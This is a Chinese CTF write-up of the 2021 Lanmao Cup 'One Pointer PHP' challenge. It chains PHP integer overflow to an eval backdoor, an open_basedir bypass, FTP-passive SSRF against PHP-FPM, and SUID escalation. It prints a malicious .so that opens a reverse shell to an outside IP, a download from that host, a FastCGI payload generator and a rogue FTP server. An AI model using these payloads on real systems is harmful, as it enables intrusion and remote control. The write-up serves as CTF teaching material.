[蓝帽杯 2021]One Pointer PHP
知识点：
PHP 数组溢出
如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。
绕过 open_basedir
open_basedir
加载恶意 .so 扩展
SUID提权
解题：
源码如下：
- user.php
<?php
class User{
public $count;
}
?>
- add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1; //将数组的第几个属性赋值为1
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
我们需要进入后门，但是发现if语句那里是一个赋值语句，永真，所以按理说不管怎样返回的都是 True：
但是：
当我们进行
$count[]=1
赋值运算时，是往
$count[++$user->count]=1
这个赋值语句的键值后面一个赋值
当我们
$count[++$user->count]=1
这里的键值刚好没有溢出时，后面赋值语句就会溢出
导致报错，返回值为0，然后就可以成功绕过并进入到 eval() 中了。
所以payload：
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
然后修改
Cookie
后便可以进行代码执行了：
http://ad6b7418-6248-4047-909c-f67077e14d91.node3.buuoj.cn/add_api.php?backdoor=phpinfo();
查看 phpinfo，发现题目做了以下限制：
disable_functions：
过滤了各种命令执行函数，但是像
scandir
、
file_get_contents
、
file_put_contents
等目录和文件操作函数没有被过滤
设置了 open_basedir，只能访问 Web 目录，但我们可以利用
chdir()
与
ini_set()
组合来绕过
open_basedir
：
/add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
发现可以读出
/etc/passwd
，但是读不出
/flag
，猜测与权限有关，那我们就要想办法提权了，但是要提权则必须先拿到 Shell 执行命令，也就是得要先绕过
disable_functions
。
当读取
/proc/self/cmdline
时发现当前进程是
php-fpm
：
所以说这道题应该就是通过攻击
php-fpm
来绕过
disable_functions
了。
首先查看
nginx
配置文件
/etc/nginx/nginx.conf
：
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
在读取
/etc/nginx/sites-enabled/default
发现在本地9001端口开有FastCGI服务，
phpinfo
中也表明该项目为FPM/FastCGI，可以通过未授权打FPM rce
FPM其实是一个
fastcgi
协议解析器，Nginx等服务器中间件将用户请求按照
fastcgi
的规则打包好通过TCP传给FPM
FPM按照
fastcgi
的协议将TCP流解析成真正的数据。
例如，用户访问
http://127.0.0.1/index.php?a=1&b=2
，如果
web
目录是
/var/www/html
，那么Nginx会将这个请求变成如下
key-value
对：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
通过在FastCGI协议修改PHP_VALUE字段进而修改
php.ini
中的一些设置，而
open_basedir
同样可以通过此种方法进行设置。比如：
$php_value = "open_basedir = /";
因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程，我们可以伪造FastCGI向FPM发起请求，PHP_VALUE相当于改变
.ini
中的设置，覆盖了本身的
open_basedir
既然我们可以通过
eval()
执行任意代码，那我们便可以构造恶意代码进行 SSRF，利用 SSRF 攻击本地的 PHP-FPM。但是由于这里禁用了许多函数和类，像那些普通能构成 SSRF 的函数和类都无法使用，但是 FTP 协议未被禁用。
我们可以通过在 VPS上搭建恶意的FTP服务器，骗取目标主机将 Payload 重定向到自己的 9001 端口上，从而实现攻击 PHP-FPM 并执行命令。
php 支持的协议和封装：https://www.php.net/manual/zh/wrappers.php，可代替发二进制包的协议只有
ftp://
ftp 的两种传输模式
ftp 有两种使用模式：主动模式（port）和被动模式（pasv）。
port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下，客户端由于安装了防火墙会产生一些问题，连接有时候会被客户端的防火墙阻止。所以，创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程，这样就可以绕过客户端安装了防火墙的问题。
ftp 客户端和服务器之间需要建立两条 tcp 连接，一条是控制连接（ 21 端口），用来发送控制指令，另外一条是数据连接（ 20 端口 / 随机端口），真正的文件传输是通过数据连接来完成的。
两种传输模式的异同
对于两种传输模式来说，控制连接的建立过程都是一样，均为服务器监听 21 号端口，客户端向服务器的该端口发起 tcp 连接。
两种传输模式的不同之处体现在数据连接的建立，对于数据连接的建立，主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”：
port 服务器通过控制连接知道客户端监听的端口后，使用自己的 20 号端口作为源端口，服务器“主动”发起 tcp 数据连接。
pasv 服务器监听 1024-65535 的一个随机端口，并通过控制连接将该端口告诉客户端，客户端向服务器的该端口发起 tcp 数据连接，这种情况下数据连接的建立相当于服务器是“被动”的。
这里利用了 FTP 协议工作方式中的被动方式，在该方式中，FTP 客户端和服务端在建立控制通道的时候用二者的TCP 21端口建立连接，建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后，随机打开一个高端端口（端口号大于1024）并且通知客户端在这个端口上传送数据的请求，客户端连接到 FTP 服务器的此高端端口，通过三次握手建立通道，然后FTP服务器将通过这个端口进行数据的传送。
可见，在被动方式中，FTP 客户端和服务端的数据传输端口是由服务端指定的，而且还有一点是很多地方没有提到的，实际上除了端口，服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似，协议内容全是纯文本，所以我们可以很清晰的看到它是如何指定地址和端口的：
227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语，而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
file_put_contents() 函数在使用 FTP 协议时，会将第二个参数 data 中的内容上传到 FTP 服务器。由于上面说的被动模式下，服务器的地址和端口是可控的，所以我们就可以将地址和端口指到 127.0.0.1:9000。同时由于 FTP 的特性，其会把 data 原封不动的发给 127.0.0.1:9000，不会有任何的多余内容（类似 Gopher 协议），完美符合攻击 Fastcgi/PHP-FPM 的要求。
所以，我们便可以通过 file_put_contents() 函数构造FTP-SSRF，来实现对目标主机上 PHP-FPM 的攻击。
首先尝试使用 Gopherus 生成的攻击 PHP-FPM 的 Payload 失败，然后尝试通过加载恶意 .so 扩展的方式。
先编写一个扩展（网上的脚本，亘古不变）：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.110.124.239/2333 0>&1'");
}
编译：
gcc hpdoger.c -fPIC -shared -o hpdoger.so
将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中：
PHP
/add_api.php?backdoor=mkdir('w0s1np');chdir('w0s1np');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.110.124.239/test/hpdoger.so','/tmp/hpdoger.so');
然后简单修改以下脚本（根据 fcgi_jailbreak.php 改的）并执行，生成 payload：
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; //加载hpdoger.so文件
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
然后执行以下脚本自己 vps 上搭建一个恶意的 ftp 服务器：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后在 vps 上开启一个 nc 监听，用于接收反弹的shell
最后通过 eval() 构造如下恶意代码通过 file_put_contents() 函数与我们 VPS 上恶意的 FTP 服务器建立连接：
此时当 FTP 建立连接后，会通过被动模式将 Payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上，并成功反弹Shell：
但是读不了flag
所以接下来就是提权阶段了，最常见的就是 suid 提权了。
首先查看具有 suid 的命令：
如上图，发现 php 就有 suid 权限，直接进入交互模式执行代码绕过 open_basedir 后读取 flag 即可：
利用流程：
FastCGI加载并调用hpdoger.so->bypass open_basedir->ftp-ssrf请求恶意ftp服务->本地php-fpm->rce
参考文章：
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://whoamianony.top/2021/05/03/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/[2021%20%E2%80%9C%E8%93%9D%E5%B8%BD%E6%9D%AF%E2%80%9D%E5%88%9D%E8%B5%9B]one_Pointer_php/